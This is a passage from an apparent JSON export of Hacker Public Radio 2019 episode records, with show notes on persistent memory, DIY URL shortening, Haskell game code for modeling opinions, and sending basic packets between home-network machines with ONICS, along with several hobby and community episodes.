                                                            Nonvolatile random-access memory (NVRAM) is random-access memory that retains its information even if there is no power. If power is lost before the data is written to disk, you don’t lose the data because it can be recovered from NVRAM. NVRAM uses battery backup to keep data persistent. During this time it can flash the data out to a flash device that is attached directly. In most cases, NVRAM resides on the PCIe bus.

                                                            \n

                                                            PMEM or NVDIMM-N can also be backed up by battery. It resides only on the memory bus.

                                                            \n

                                                            Where PMEM is going

                                                            \n

                                                            It’s no wonder that this sort of ‘in-memory’ computing has exploded in recent years. According to Gartner, 75 percent of cloud-native application development will use in-memory/PMEM computing by 2019, and by 2021, at least 25 percent of large and global organisations will adopt platforms using in-memory technologies.

                                                            \n

                                                            Drawbacks of PMEM

                                                            \n
                                                              \n
                                                            • PMEM is a local store.
                                                            • \n
                                                            • Host failures can result in loss of availability.
                                                            • \n
                                                            • In the case of catastrophic errors you may lose all data and must take manual steps to reformat the PMEM.
                                                            • \n
                                                            \n

                                                            Reference Notes

                                                            \n\n","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Pmem, intel, memory, storage","version":0,"downloads":0,"valid":1}, {"id":2904,"date":"2019-09-19","title":"DIY URL shortening","duration":738,"summary":"Quick tip on how to shorten an URL without a silly SaaS","notes":"

                                                            \nMake a directory to house your shortened URLs.\n

                                                            \n\n
                                                            \n$ ssh example.com mkdir public_html/u\n
                                                            \n\n

                                                            \nOn demand, create a subdirectory for the shortened URL you want to create.\n

                                                            \n\n
                                                            \n$ ssh example.com mkdir public_html/u/hpr\n
                                                            \n\n

                                                            \nCreate an HTTP redirect in an index.html file.\n

                                                            \n\n
                                                            \n$ ssh example.com echo \"\"<html><title>Shortened URL</title><head><meta http-equiv='refresh' content='0; URL=http://hackerpublicradio.org/correspondents/0078.html' /></head></html>\"\" > www/u/hpr/index.html\n
                                                            \n\n

                                                            \nYour shortened URL is example.com/u/hpr\n

                                                            \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"html, url shortner","version":0,"downloads":0,"valid":1}, {"id":2905,"date":"2019-09-20","title":"Two HPR hosts living in the same region finally meet up!","duration":1145,"summary":"Dave Morriss and MrX meet up and record a conversation","notes":"

                                                            Introduction

                                                            \n

                                                            Two HPR hosts who live in the Edinburgh locality in Scotland met on Saturday 24th August for a chat.

                                                            \n

                                                            The hosts are:

                                                            \n\n

                                                            Some of the meeting was recorded and is presented here.

                                                            \n

                                                            Recording information

                                                            \n

                                                            We were both recording this chat. Dave was using his Zoom H2n (with the microphones in XY mode) and MrX had left his small Dictaphone-like recorder on the table.

                                                            \n

                                                            Most of the audio here was from the Zoom, but at one point it switches to MrX’s recorder for comparison. The sample is at about 18 minutes into the recording (hard to judge since an intro sequence will have been added on the HPR site). A “chirp” effect has been added at the start and end of this sample to help with identification.

                                                            \n

                                                            The Zoom track had noise reduction applied to it, using a noise sample from the start as a reference. The sample from MrX’s recorder also had noise reduction applied, and both tracks were amplified.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"HPR,hosts,meeting,Dave Morriss,MrX","version":0,"downloads":0,"valid":1}, {"id":2906,"date":"2019-09-23","title":"Feature Engineering for Data-Driven Decision Making","duration":1006,"summary":"In this episode, I explain feature engineering, and how it can be used to make decisions","notes":"

                                                            Example of the input data

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            Client nameDate ordered
                                                            Client 12019-01-01
                                                            Client 12019-01-01
                                                            Client 32019-01-01
                                                            Client 32019-01-01
                                                            \n

                                                            Example of the engineered features

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            Client namevolumelast order datefirst order datedays since last order
                                                            Client 12922019-09-032015-03-0410
                                                            Client 2182019-09-092019-09-044
                                                            Client 33002019-08-162016-11-1528
                                                            \n

                                                            Links

                                                            \n
                                                              \n
                                                            1. Feature Engineering
                                                            2. \n
                                                            3. Feature
                                                            4. \n
                                                            \n","hostid":300,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"data","version":0,"downloads":0,"valid":1}, {"id":2907,"date":"2019-09-24","title":"Stardrifter RPG Playtest Part 05","duration":3120,"summary":"Lostnbronx and friends playtest a new, original RPG system.","notes":"

                                                            \nThis episode is Part 5 of the Stardrifter role-playing game playtest. The series is composed of two playtest sessions, held earlier this year. They were recorded and chopped into manageable bites, then edited down into separate episodes.\n

                                                            \n

                                                            \nThis series is meant to give listeners some insight into the RPG construction process. Playtesting is not the final step, but rather, just another stage. The construction of an RPG can be convoluted, and feedback from players is absolutely vital.\n

                                                            \n

                                                            \nIn this part, the characters take on a contract to deal with some...hippies?\n

                                                            \n

                                                            \nSpecial thanks to my playtesters: Klaatu, Thaj, and Mark (who was playing Brinn)\n

                                                            ","hostid":107,"series":95,"explicit":1,"license":"CC-0","tags":"rpg, gaming, stardrifter, game construction, playtest","version":0,"downloads":0,"valid":1}, {"id":2908,"date":"2019-09-25","title":"Modeling opinions in space game","duration":2104,"summary":"Tuula talks about modeling opinions","notes":"

                                                            We continue with people, this time focusing on opinions. This episode has somewhat more code than previous one, so following along with the shownotes might be a good idea. I’m trying to minimize amount of code I read out aloud.

                                                            \n

                                                            Intro

                                                            \n

                                                            One person’s opinion of another is expressed as OpinionScore that ranges from -100 to 100.

                                                            \n

                                                            Computing the score is based on intelligence player has available to them. Internally we have ReportResult that tracks score, reasons for the score and confidence level about the results. It’s defined as:

                                                            \n
                                                            data ReportResult =\n    FeelingLevel OpinionScore\n    | ReasonsLevel OpinionScore [OpinionReason]\n    | DetailedLevel OpinionScore [OpinionReason]\n    deriving (Show, Read, Eq)
                                                            \n

                                                            We’re going to be adding up these results quite a bit, so we define SemiGroup and Monoid instances for it. When two results are combined, scores are added together, lists of reasons are concatenated and the lowest confidence level is used. This is written as:

                                                            \n
                                                            instance Semigroup ReportResult where\n    (FeelingLevel s1) <> (FeelingLevel s2) = FeelingLevel (s1 <> s2)\n    (FeelingLevel s1) <> (ReasonsLevel s2 _) = FeelingLevel (s1 <> s2)\n    (FeelingLevel s1) <> (DetailedLevel s2 _) = FeelingLevel (s1 <> s2)\n    (ReasonsLevel s1 _) <> (FeelingLevel s2) = FeelingLevel (s1 <> s2)\n    (ReasonsLevel s1 r1) <> (ReasonsLevel s2 r2) = ReasonsLevel (s1 <> s2) (r1 <> r2)\n    (ReasonsLevel s1 r1) <> (DetailedLevel s2 r2) = ReasonsLevel (s1 <> s2) (r1 <> r2)\n    (DetailedLevel s1 _) <> (FeelingLevel s2) = FeelingLevel (s1 <> s2)\n    (DetailedLevel s1 r1) <> (ReasonsLevel s2 r2) = ReasonsLevel (s1 <> s2) (r1 <> r2)\n    (DetailedLevel s1 r1) <> (DetailedLevel s2 r2) = DetailedLevel (s1 <> s2) (r1 <> r2)\n\n\ninstance Monoid ReportResult where\n    mempty = DetailedLevel mempty mempty
                                                            \n

                                                            Opinion based on traits

                                                            \n

                                                            Current system compares two lists of traits. For example, two brave characters like each other slightly better than if one of them would be coward. Comparison is done by traitPairOpinion function, which definition I’m omitting as it’s rather long and not too interesting. It’s signature is: traitPairOpinion :: TraitType -> TraitType -> Maybe (OpinionScore, OpinionReason). So, given two traits, tells how that pair affects to opinion and reasoning for it.

                                                            \n

                                                            In order to have nicer format for out data, we introduce a helper function:

                                                            \n
                                                            traitPairScore :: TraitType -> TraitType -> (OpinionScore, [OpinionReason])\ntraitPairScore a b =\n    case traitPairOpinion a b of\n            Nothing ->\n                mempty\n\n            Just (s, r) ->\n                (s, [r])
                                                            \n

                                                            This is because (OpinionScore, OpinionReason) isn’t monoid, but (OpinionScore, [OpinionReason]) is, which means we can combine them with <>.

                                                            \n

                                                            Actual score calculation based on traits, we do it like this:

                                                            \n
                                                            traitScore :: [TraitType] -> [PersonIntel] -> [TraitType] -> [PersonIntel] -> ReportResult\ntraitScore originatorTraits originatorIntel targetTraits targetIntel =\n    if (Traits `elem` originatorIntel) && (Traits `elem` targetIntel)\n        then DetailedLevel score reasons\n        else FeelingLevel score\n    where\n        (score, reasons) = mconcat $ traitPairScore <$> originatorTraits <*> targetTraits
                                                            \n

                                                            The interesting part is mconcat $ traitPairScore <$> originatorTraits <*> targetTraits. Function traitPairScore expects two TraitType values as parameters, but we’re calling it with two lists of such values. First step is to use <$> and list of values, which produces a list of partially applied functions. Second step is to use <*> to call each and every of those functions with values from second list. Result is a list of results that were obtained by calling traitPairScore with every combination of elements from two lists. Final step is to take this list of ReportResult values and combine them to single result with mconcat.

                                                            \n

                                                            Finally, based on available intel, ReportResult of correct level is created.

                                                            \n

                                                            Opinion based on relations

                                                            \n

                                                            Score based on relations is similar, but a bit convoluted (or rather, a lot more).

                                                            \n

                                                            Intel here has two dimensions. One of them is relationship visibility (is it public, family relation or secret relation), another is level of detail: BaseOpinionIntel, ReasonsForOpinions and DetailedOpinions.

                                                            \n

                                                            relationScore is the entry point for calculation:

                                                            \n
                                                            relationScore :: [PersonIntel] -> [Relation] -> ReportResult\nrelationScore intel relations =\n    mconcat $ (relReport oIntel score) <$> visibilities\n    where\n        score = mconcat $ (relationTypeScore . relationType) <$> relations\n        visibilities = mkUniq $ relationVisibility <$> relations\n        oIntel = mkUniq $ mapMaybe (\\case\n                                        Opinions x ->\n                                            Just x\n\n                                        _ ->\n                                            Nothing)\n                                   intel
                                                            \n

                                                            Code has to take into account of what level of intel we have about opinions and on what detail: oIntel. On the other hand, visibilities is unique relation visibilities that exists in relations in this particular case and score is computed based on relations.

                                                            \n

                                                            Function relReport creates final report. It takes into account on what level of intel we have, by doing: matching = safeHead $ reverse $ sort $ filter (\\x -> opinionIntelVisibility x == visibility) intel. This finds highest level intel we have about this particular relationship visibility. Based on the highest level of available intel ReportResult is created with correct confidence level. Ie. if there’s no specific intel, we get FeelingLevel report. If there’s intel about why particular person has certain opinion, we get ReasonsLevel report. Whole definition of function is below:

                                                            \n
                                                            relReport :: [OpinionIntel]\n    -> (OpinionScore, [OpinionReason])\n    -> RelationVisibility\n    -> ReportResult\nrelReport intel (score, reasons) visibility =\n    case matching of\n        Nothing ->\n            FeelingLevel score\n\n        Just (BaseOpinionIntel _) ->\n            FeelingLevel score\n\n        Just (ReasonsForOpinions _) ->\n            ReasonsLevel score reasons\n\n        Just (DetailedOpinions _) ->\n            DetailedLevel score reasons\n    where\n        matching = safeHead $ reverse $ sort $ filter (\\x -> opinionIntelVisibility x == visibility) intel
                                                            \n

                                                            Opinion report

                                                            \n

                                                            To pull all this together, we combine results of these two functions. Based on given information, it’ll compute traitsRep and relationsRep. These two are combined with <> as explained earlier in episode:

                                                            \n
                                                              \n
                                                            • scores are summed up
                                                            • \n
                                                            • reason lists are concatenated
                                                            • \n
                                                            • confidence level is lowest of two
                                                            • \n
                                                            \n
                                                            opinionReport :: [TraitType]\n    -> [PersonIntel]\n    -> [TraitType]\n    -> [PersonIntel]\n    -> [Relation]\n    -> OpinionReport\nopinionReport originatorTraits originatorIntel targetTraits targetIntel targetRelations =\n    reportResultToOpinionResult $ traitsRep <> relationsRep\n    where\n        traitsRep = traitScore originatorTraits originatorIntel targetTraits targetIntel\n        relationsRep = relationScore originatorIntel targetRelations
                                                            \n

                                                            Finally ReportResult is transformed to OpinionReport, which can be sent to client.

                                                            \n

                                                            OpinionReport has three levels:

                                                            \n
                                                              \n
                                                            • BaseOpinionReport only tells if feeling is positive, neutral or negative
                                                            • \n
                                                            • OpinionReasonReport has feeling and in addition to reasoning
                                                            • \n
                                                            • DetailedOpinionReport has exact (more or less) score and reasoning
                                                            • \n
                                                            \n
                                                            data OpinionReport =\n    BaseOpinionReport OpinionFeeling\n    | OpinionReasonReport OpinionFeeling [OpinionReason]\n    | DetailedOpinionReport OpinionScore [OpinionReason]\n    deriving (Show, Read, Eq)
                                                            \n

                                                            Actual transformation is shown here:

                                                            \n
                                                            reportResultToOpinionResult :: ReportResult -> OpinionReport\nreportResultToOpinionResult (FeelingLevel score) =\n    BaseOpinionReport $ scoreFeeling score\n\nreportResultToOpinionResult (ReasonsLevel score reasons) =\n    OpinionReasonReport (scoreFeeling score) reasons\n\nreportResultToOpinionResult (DetailedLevel score reasons) =\n    DetailedOpinionReport (clamp (-100) 100 score) reasons
                                                            \n

                                                            Note about incorrectness

                                                            \n

                                                            Reports are based on intel and this might lead into incorrect results. In case of player’s own avatar, they have full intel (ie. they know all relations, all traits and so on.) Therefore opinion about some other person is based wholly on what we know about them.

                                                            \n

                                                            But in case of gauging somebody else’s opinion about us or person A’s opinion of person B, when A or B isn’t us, there’s chance of misjudging things. We might not know everything about them, or we might know more about A than B knows about them. In short, opinion shown for player, is just best effort guess.

                                                            \n

                                                            In closing

                                                            \n

                                                            Questions, comments and feedback is welcome. Even better is if you record your own HPR episode. Best way to reach me nowadays is by email or in fediverse, where I’m Tuula@mastodon.social.

                                                            \n

                                                            ad astra!

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"haskell, game development","version":0,"downloads":0,"valid":1}, {"id":2909,"date":"2019-09-26","title":"ONICS Basics Part 3: Networking Fundamentals","duration":3031,"summary":"This show discusses basic principles of networks and how to send data using ONICS","notes":"

                                                            Theory

                                                            \n

                                                            In this episode I decided to take a slight diversion into networking fundamentals. As before, if you want to learn more about installing the ONICS tool suite, go back and listen to HPR 2882.

                                                            \n

                                                            There are three key concepts to understand about modern networks. They are:

                                                            \n
                                                              \n
                                                            • digital - the networks carry bits and bytes (binary digits)

                                                            • \n
                                                            • packet switched - devices break data into blobs of data called "packets" and take turns sending and receiving those packets to/from other devices attached to the network

                                                            • \n
                                                            • internetworked -- machines communicate using a protocol that allows traffic to traverse across multiple, independently-managed networks in a uniform way

                                                            • \n
                                                            \n

                                                            My Setup

                                                            \n
                                                              \n
                                                            • 2 laptops connected to a home wifi network that has Internet connectivity.

                                                            • \n
                                                            • Practicing sending data from a source machine to a destination machine. Both are running Linux.

                                                            • \n
                                                            • Source machine:

                                                              \n
                                                                \n
                                                              • Wifi interface: wlan0
                                                              • \n
                                                              • Ethernet address: 00:22:fa:a7:69:90
                                                              • \n
                                                              • IP address: 192.168.0.4
                                                              • \n
                                                            • \n
                                                            • Destination machine

                                                              \n
                                                                \n
                                                              • Wifi interface: wlo1
                                                              • \n
                                                              • Ethernet address: 6c:88:14:7c:2e:14
                                                              • \n
                                                              • IP address: 192.168.0.248
                                                              • \n
                                                            • \n
                                                            • Internet Router:

                                                              \n
                                                                \n
                                                              • Ethernet address: 00:0d:b9:23:f2:51
                                                              • \n
                                                              • IP address: 192.168.0.1
                                                              • \n
                                                            • \n
                                                            \n

                                                            More Terminology

                                                            \n
                                                              \n
                                                            • Address - a number that identifies a machine's interface in a network

                                                            • \n
                                                            • Packet - a blob of binary data sent as a unit over a network

                                                            • \n
                                                            • Route - a rule that specifies how to forward traffic to a given address

                                                            • \n
                                                            • Router / Gateway - a machine that uses the IP protocol and forwards traffic between multiple networks that it connects to

                                                            • \n
                                                            • Network Protocol - a set of rules and data formats for exchanging information over a network

                                                            • \n
                                                            \n

                                                            Standard UNIX Commands

                                                            \n
                                                              \n
                                                            • ifconfig (no arguments or '-a')\n
                                                                \n
                                                              • list interfaces on a machine
                                                              • \n
                                                            • \n
                                                            • ifconfig IFNAME\n
                                                                \n
                                                              • list properites about a given interface
                                                              • \n
                                                            • \n
                                                            • ping -c 1 IPADDRESS\n
                                                                \n
                                                              • send an echo request to machine IPADDRESS
                                                              • \n
                                                            • \n
                                                            • arp -na\n
                                                                \n
                                                              • Dump the Ethernet addresses of known nearby machines
                                                              • \n
                                                            • \n
                                                            • netstat -nr\n
                                                                \n
                                                              • Dump the routes in a system
                                                              • \n
                                                            • \n
                                                            • netstat -nr | grep "^0.0.0.0"\n
                                                                \n
                                                              • Find the route (and thus IP address) of the default gateway
                                                              • \n
                                                            • \n
                                                            \n

                                                            ONICS Commands in this Episode

                                                            \n
                                                              \n
                                                            • rawpkt - take a blob of data and wrap it in an XPKT format (so other ONICS tools can understand what it is)

                                                            • \n
                                                            • ethwrap - take an XPKT and prepend an Ethernet header to it

                                                            • \n
                                                            • ipwrap - take an XPKT and prepend an IP header to it

                                                            • \n
                                                            • pktin - read a stream of packets from a network interface

                                                            • \n
                                                            • pflt - filter a stream of packets so that only those matching a pattern get through

                                                            • \n
                                                            • pktout - send a stream of packets to a network interface

                                                            • \n
                                                            • x2hpkt - convert XPKTs into a hex dump

                                                            • \n
                                                            • xpktdump - like x2hpkt, but send the output to a pager like 'less' for easy reading

                                                            • \n
                                                            \n

                                                            Sending an Ethernet Packet to the Destination

                                                            \n
                                                              \n
                                                            • On the receiver:
                                                            • \n
                                                            \n
                                                                $ sudo pktin wlo1 |\n      pflt "not ip and eth.dst == 6c:88:14:7c:2e:14" |\n      x2hpkt\n
                                                            \n
                                                              \n
                                                            • On the sender:
                                                            • \n
                                                            \n
                                                                $ echo "hello world" |\n      rawpkt |\n      ethwrap "eth.dst = 6c:88:14:7c:2e:14; "\n              "eth.src = 00:22:fa:a7:69:90; "\n              "eth.ethtype = 12;" |\n      sudo pktout wlan0\n
                                                            \n

                                                            Note that while I broke up the field setting commands into multiple lines in ethwrap, they can all be part of a single quoted string if desired. To store the packet to a file rather than send it instead do something

                                                            \n
                                                            $ echo ... | rawpkt | ethwrap ... > outfile.xpkt\n
                                                            \n

                                                            One can then dump the packet by running:

                                                            \n
                                                            $ xpktdump outfile.xpkt\n
                                                            \n

                                                            or send the packet by running:

                                                            \n
                                                            $ sudo pktout outfile.xpkt wlan0\n
                                                            \n

                                                            Sending an IP Packet to the Destination over the Local Network

                                                            \n
                                                              \n
                                                            • On the reciever:
                                                            • \n
                                                            \n
                                                                $ sudo pktin wlo1 |\n      pflt "ip and ip.proto == 255" |\n      x2hpkt\n
                                                            \n
                                                              \n
                                                            • On the sender:
                                                            • \n
                                                            \n
                                                                $ echo "hello world" |\n      rawpkt |\n      ipwrap "ip.saddr = 192.168.0.4;"\n             "ip.daddr = 192.168.0.248;"\n             "ip.len = 32;"\n             "ip.ttl = 64;"\n             "ip.proto = 255;" |\n      ethwrap "eth.dst = 6c:88:14:7c:2e:14; "\n              "eth.src = 00:22:fa:a7:69:90; "\n              "eth.ethtype = 0x800;" |\n      sudo pktout wlan0\n
                                                            \n

                                                            Note that while I broke up the field setting commands into multiple lines in ipwrap and ethwrap, they can all be part of a single quoted string if desired. Also note that it is not actually necessary to set the 'ip.len' and 'eth.ethtype' fields: the tools will do that automatically.

                                                            \n

                                                            Sending an IP Packet to the Destination via IP

                                                            \n
                                                              \n
                                                            • On the receiver:
                                                            • \n
                                                            \n
                                                                $ sudo pktin wlo1 |\n      pflt "ip and ip.proto == 255" |\n      x2hpkt\n
                                                            \n
                                                              \n
                                                            • One the sender:
                                                            • \n
                                                            \n
                                                                $ echo "hello world" |\n      rawpkt |\n      ipwrap "ip.saddr = 192.168.0.4;"\n             "ip.daddr = 192.168.0.248;"\n             "ip.ttl = 64;"\n             "ip.proto = 255;" |\n      ethwrap "eth.dst = 00:0d:b9:23:f2:51; "\n              "eth.src = 00:22:fa:a7:69:90; " |\n      sudo pktout wlan0\n
                                                            \n

                                                            Challenge

                                                            \n

                                                            There are several differences between the packets that arrive at the destination machine when sending directly over the local network versus sending via an IP gateway (router). I've mentioned how the Ethernet header is different. Can you find the other differences? What causes these differences?

                                                            \n

                                                            TIP: instead of sending the pktin command to x2hpkt, send it to a file. Do this for both local network send and for sending via the router saving each to different files. Then run pdiff on the two files to highlight the differences.

                                                            \n","hostid":259,"series":61,"explicit":0,"license":"CC-BY-SA","tags":"command-line, networking, basics","version":0,"downloads":0,"valid":1}, {"id":2910,"date":"2019-09-27","title":"Better Social Media 02 - Pluspora","duration":582,"summary":"Pluspora was advertised as the federated alternative to Google Plus.","notes":"

                                                            Pluspora is an instance of the Diaspora software that was specifically designed to appeal to users of Google Plus. So when Google Plus disappeared, many people moved over to this platform. https://www.zwilnik.com/?page_id=1027

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":108,"explicit":0,"license":"CC-BY-SA","tags":"Fediverse, social media, federated","version":0,"downloads":0,"valid":1}, {"id":2911,"date":"2019-09-30","title":"my internet connection","duration":655,"summary":"a bloviated harang with a smattering of spewed expetives, while describing available ISPs","notes":"

                                                            Any notes for this episode should probably contain links to the ISPs mentioned in the show. Since I do not wish to harm any listeners, I have opted to not include links to evil ISPs.

                                                            ","hostid":243,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"internet service, satellite","version":0,"downloads":0,"valid":1}, {"id":2912,"date":"2019-10-01","title":"Stardrifter RPG Playtest Part 06","duration":2013,"summary":"Lostnbronx and friends playtest a new, original RPG system.","notes":"

                                                            This episode is Part 6 of the Stardrifter role-playing game playtest. The series is composed of two playtest sessions, held earlier this year. They were recorded and chopped into manageable bites, then edited down into separate episodes. The remaining episodes in this mini-series, including this one, were all from the second session.

                                                            \n

                                                            This series is meant to give listeners some insight into the RPG construction process. Playtesting is not the final step, but rather, just another stage. The construction of an RPG can be convoluted, and feedback from players is absolutely vital.

                                                            \n

                                                            In this part, the characters fly out to the derelict (though hardly empty) spaceship, and find a way to sneak aboard.

                                                            \n

                                                            Special thanks to my playtesters: Thaj, Mark (who was playing Brinn), and X1101!

                                                            \n","hostid":107,"series":95,"explicit":1,"license":"CC-0","tags":"rpg, gaming, stardrifter, game construction, playtest","version":0,"downloads":0,"valid":1}, {"id":2913,"date":"2019-10-02","title":"Windows, SDN, and Firewalls","duration":2483,"summary":"Being a Windows User for the past 3 years, Information on SDN, and a DIY approach to a home Firewall","notes":"
                                                            \nIntro\n\nLast Upload was hpr1468 March 19, 2014 \n\npython\n\n>>> print (D.today() - D(2014, 3, 19)).days\n\n1999\n\n>>> 2000/365\n\n5\n
                                                            \n\n

                                                            https://unix.stackexchange.com/questions/24626/quickly-calculate-date-differences

                                                            \n

                                                            In the last 5 years:

                                                            \n
                                                              \n
                                                            • Traveled the world.
                                                            • \n
                                                            • Deployed a lot of things for work.
                                                            • \n
                                                            • Taken on a new role which moves me from Datacenters to Networks.
                                                            • \n
                                                            • Learned a lot about Operations, Datacenter Infrastructure, People around the world, and why it is important to have your house in order.
                                                            • \n
                                                            • Read over 3 dozen books.
                                                            • \n
                                                            • Paid off debt and focused on long term financial goals.
                                                            • \n
                                                            • Humility, Humanity, and Harmony: Three things I have continued to strive for in my personal life, work, and hobbies.
                                                            • \n
                                                            \n

                                                            Let's Start The Show off in the wrong direction

                                                            \n

                                                            Windows

                                                            \n\n

                                                            Sublime Text 3

                                                            \n
                                                              \n
                                                            • Fantastic Text editor and very powerful. I use this to quickly parse data using regex searches and push this to spreadsheets or other tools that allow me to organize data quickly. Overall Great tool for anyone
                                                            • \n
                                                            \n

                                                            Summary:

                                                            \n
                                                              \n
                                                            • Overall: The importance of being an everyday Windows User has allowed me to focus on solving problems in different and unique ways. I've found that the way I use Windows is not the same as most normal Windows Users. I live most of the time inside of Chrome so Windows is just another OS to get my Chrome Browser running.
                                                            • \n
                                                            • Observation: Windows has definitely matured over the past 10 years. I find myself enjoying the time I save using Windows 10.
                                                            • \n
                                                            • Contradictions: I still use Linux, but as a VM to work on things that I just can't do inside of Windows.
                                                            • \n
                                                            \n

                                                            Web Stuff

                                                            \n
                                                              \n
                                                            • Regex\n
                                                                \n
                                                              • Test and debug your regex. It is a great tool that combines pastebin and regex debugging. This allows you to share your regex with other by simply using a link. There is a lot of useful information on the site about what each portion of your regex is doing.
                                                              • \n
                                                              • https://regex101.com
                                                              • \n
                                                            • \n
                                                            • Maps\n
                                                                \n
                                                              • USGS Maps\n
                                                                  \n
                                                                • Very nice site that allows you to download PDFs of 1:24000 or 7.5 minute Maps. You can print these off and use a Map grid tool to navigate your journey. This is kind of an analog tool but you are downloading the maps to your computer or phone. Good to have maps saved offline while you hike, that way you don't get lost.
                                                                • \n
                                                                • https://store.usgs.gov/map-locator
                                                                • \n
                                                              • \n
                                                            • \n
                                                            • SDN Information\n
                                                                \n
                                                              • If you're just starting with Software Defined Networking or are already working with it in a production environment, there is much to learn but very few places to find aggregated information. The GitHub Page called awesome-sdn has tons of links on NOS,Controllers, Libraries, and more. I have A couple of Northbound network and Aruba switches at home to use with my SDN projects. I highly recommend you start getting familiar with network automation using ansible or other automation best practices at the least. For the more technical stuff definitely start looking at SDN.
                                                              • \n
                                                              • Awesome-SDN\n
                                                              • \n
                                                              • Northbound Networks SDN Devices\n
                                                              • \n
                                                              • ZeroTier is an example of SDN WAN or Edge Networking\n
                                                              • \n
                                                            • \n
                                                            \n

                                                            Home Hacks

                                                            \n
                                                              \n
                                                            • Home Phone\n
                                                                \n
                                                              • Cheap way to have a home phone\n
                                                                  \n
                                                                • Google Voice Number
                                                                • \n
                                                                • OBi200 VoIP Telephone Adapter 100Mb LAN\n
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n

                                                            Firewalls

                                                            \n
                                                              \n
                                                            • Off the shelf vs DIY options\n
                                                                \n
                                                              • Off The Shelf Ubiquiti Option\n
                                                                  \n
                                                                • Ubiquiti \"SDN\" Like FW decent enough for homes with 100Mb/s Uplinks but not for homes with 1Gb/s uplinks.
                                                                • \n
                                                                • USG3 can't handle IPS throughput past 50Mb/s
                                                                • \n
                                                                • USG3 can't handle FW PPS past 400Mb/s at 100B packets, which is around 500,000 PPS
                                                                • \n
                                                                • The Ubiquiti alternative would be to spend money on an XG which is well over $1000 USD.
                                                                • \n
                                                              • \n
                                                              • DIY Option\n
                                                                  \n
                                                                • The best alternative would be to purchase a used SFF PC with at least 1 Gb onboard NIC and 2 PCIe x16 or x 8 lanes. This would allow for 10Gb NIC options
                                                                • \n
                                                                • 4x10Gb Intel Nics are a steal
                                                                • \n
                                                                • or 4 x 1Gb Nics which are an even better deal.
                                                                • \n
                                                                • Going SFP+ is a great option because you can use Copper or Fiber Modules in the same NIC card.
                                                                • \n
                                                              • \n
                                                            • \n
                                                            • Summary\n
                                                                \n
                                                              • The most important part about the SFF Option, you get to use a xeon processor, at least 32 GBs of RAM, and install up to 4 HDDs in the System. You can even install a PCIe NVME or M.2 Sata using a PCIe peripheral.
                                                              • \n
                                                              • For software, PFSense or Sophos XG will be great options. If you really want to get technical, load up a hypervisor and then install the Firewall as a VM. This would allow you to leverage the SFF system for more than just a FW and allow for easy testing of other types of FW solutions.
                                                              • \n
                                                            • \n
                                                            • Hardware Info\n
                                                            • \n
                                                            • Firewall OSes\n
                                                            • \n
                                                            \n","hostid":231,"series":61,"explicit":1,"license":"CC-BY-SA","tags":"Windows, Firewalls, SDN","version":0,"downloads":0,"valid":1}, {"id":2914,"date":"2019-10-03","title":"Describing how I listen to podcasts PART 4","duration":526,"summary":"In this episode I cover my 2nd add on board for the raspberry pi","notes":"\n

                                                            Pictures 01, 02 and 03 show how the PiFace Control and Display board and raspberry pi fit into the case
                                                            \n\"Picture-01.JPG\"
                                                            \n\"Picture-02.JPG\"
                                                            \n\"Picture-03.JPG\"

                                                            \n

                                                            Pictures 04 and 05 shows the piece of plastic used to transfer the light from the LED’s on the Pi board to the holes in the casing. This is supposed to allow you to monitor the PI LED’s. I held it in place using a piece of Blu Tack.
                                                            \n\"Picture-04.JPG\"
                                                            \n\"Picture-05.JPG\"

                                                            \n\n

                                                            Picture 6 shows the completed box
                                                            \n\"Picture-06.JPG\"

                                                            \n

                                                            Pictures 7 and 8 show the project in operation and mounted on a spare Anker tablet stand that I had lying about.
                                                            \n\"Picture-07.JPG\"
                                                            \n\"Picture-08.JPG\"

                                                            \n

                                                            This is an example of the Anker stand I used. I use it to hold my project at a 45 degree angle so I can see it from around the room, it is intended to be used as a tablet stand.
                                                            \nAnker stand for my Nexus 7, pictures, links

                                                            \n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Audio, Podcasts, Linux, Raspberry Pi, hardware, electronics, projects","version":0,"downloads":0,"valid":1}, {"id":2915,"date":"2019-10-04","title":"Intro - My Recording Setup","duration":1248,"summary":"My first HPR episode. A bit of an intro and then a description of my recording setup.","notes":"

                                                            I discuss loading Fedora on various bits of older hardware and devise a plan to turn one of those bits of older hardware into a dedicated headless audio processor using its firewire port to keep yet another older piece of hardware alive: a Yamaha GO46 audio interface.

                                                            \n

                                                            Having done that and finding that it all performs admirably, I illogically decide to replace it with newer (but not new) hardware and buy yet another different model firewire audio interface: a Focusrite Saffire Pro 24.

                                                            \n

                                                            I record the end of the show on audio interface #3: a USB based Steinberg UR22mkII, which one could argue that I should have been using all along, leaving the firewire gear in the last decade where it belongs (?).

                                                            ","hostid":380,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Fedora, Firewire, Audio Interface","version":0,"downloads":0,"valid":1}, {"id":2916,"date":"2019-10-07","title":"HPR Community News for September 2019","duration":4081,"summary":"HPR Volunteers talk about shows released and comments posted in September 2019","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
